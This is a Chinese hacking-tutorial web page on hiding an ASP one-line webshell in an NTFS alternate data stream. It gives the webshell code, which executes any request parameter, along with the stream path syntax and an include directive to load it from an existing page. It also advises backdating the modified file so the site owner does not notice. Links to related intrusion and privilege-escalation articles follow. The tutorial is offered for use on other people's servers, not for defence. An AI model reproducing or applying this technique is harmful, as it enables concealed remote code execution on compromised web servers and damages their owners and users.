利用ntfs流隐藏你的一句话木马的方法

所属分类: 网络安全 / 脚本攻防 阅读数: 1023
收藏 0 赞 0 分享

这是利用NTFS流隐藏你的一句话小马,这方法,文件写入后,不容易给发现,隐藏性好!

如下是ASP脚本的例子!
NTFS流文件的内容如下

<%
re= request("test")
if re <>"" then
  execute re
  response.end '表示结束,不再处理别的代码
end if
%>


把内容写入如下位置(示例位置)
H:\Web\动易\Inc:1.jpg

看清楚,是 :1.jpg 不是 \1.jpg
文件写入后,H:\Web\动易\Inc 目录里是看不到文件的!

现在要引导这个一句话文件!格式: <!--#include file="目录:1.jpg"-->

我随便选一个文件(最好不要自己新建文件,别人容易发现有新文件)
H:\Web\动易\Announce.asp


添加 
<!--#include file="inc:1.jpg"-->

修改后保存!
一句话木马隐藏基本完成!当然 H:\Web\动易\Announce.asp 你可以改个一下修改的时间,
这样别人就不容易发现有问题!

还有说一下,2003的流,是可以写入文件也可以写入目录的!你想把一句话马写在目录里也成,文件里也成
但建议保存到目录里,因为文件如果修改,流数据将会清空,但目录不会!

用菜刀测试成功!

更多精彩内容其他人还在看

IPC$ Password Crack BAT

有时候在肉鸡下面想整个其他的肉鸡,用SOCK5反向代理,麻烦又慢,有N多线程的IPC$密码破解工具
收藏 0 赞 0 分享

使用参数化查询防止SQL注入漏洞

SQL注入漏洞曾经是Web应用程序的噩梦,CMS、BBS、Blog无一不曾受其害。
收藏 0 赞 0 分享

后台登入框注入拿shell步骤

朋友突然丢来一个站,说帮他日日站,前台都没有注入点,上传点也没有,说就后天有注入点,可是他说他手工功力不够,让俺来试试,于是,我就放下手中的活,打开了网站。
收藏 0 赞 0 分享

入侵中国红客联盟过程分析

因为上次看到小组里的khjl入侵了这个站点,于是,我也有了这个念头,打开这个站点,首页是静态的页面,一般这种站点都是一些有名的源码,php168cms、dedecms等等,因为这些源码的技术相对比较成熟,漏洞相对来讲少点。
收藏 0 赞 0 分享

mysql的user.MYD数据库连接密码hash值无法用winhex打开等

提权时,当下载mysql的user.MYD数据库连接密码hash值无法用winhex等十六进制编辑器查看时
收藏 0 赞 0 分享

反常规and 1=1的or 1=2注入技巧

春节呆在家里上网,我表哥突然找我说要一个DJ网站的VIP会员,说搞定后请我吃KFC,于是就答应了。
收藏 0 赞 0 分享

利用星外虚拟机的入侵 经验分析

近日帮朋友搞一个小站,本来以为很快就能搞定 结果花了不少时间。不得不说能力有限呀。
收藏 0 赞 0 分享

webshell提权经验分享

可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
收藏 0 赞 0 分享

MSSQL中两种特别的执行命令的方法

现在很多计算机可以执行命令的方法都被人封得抓狂,就算有幸可以执行,也有可能CMD被改了权限,所以我推荐的办法是有能力的同学自己开发DLL,然后把DLL写入到对方计算机中,再注册为存储过程.
收藏 0 赞 0 分享

Ecshop后台拿shell方法总结

Ecshop后台拿shell方法总结,正在使用ecshop建站的朋友一定要注意升级。
收藏 0 赞 0 分享
查看更多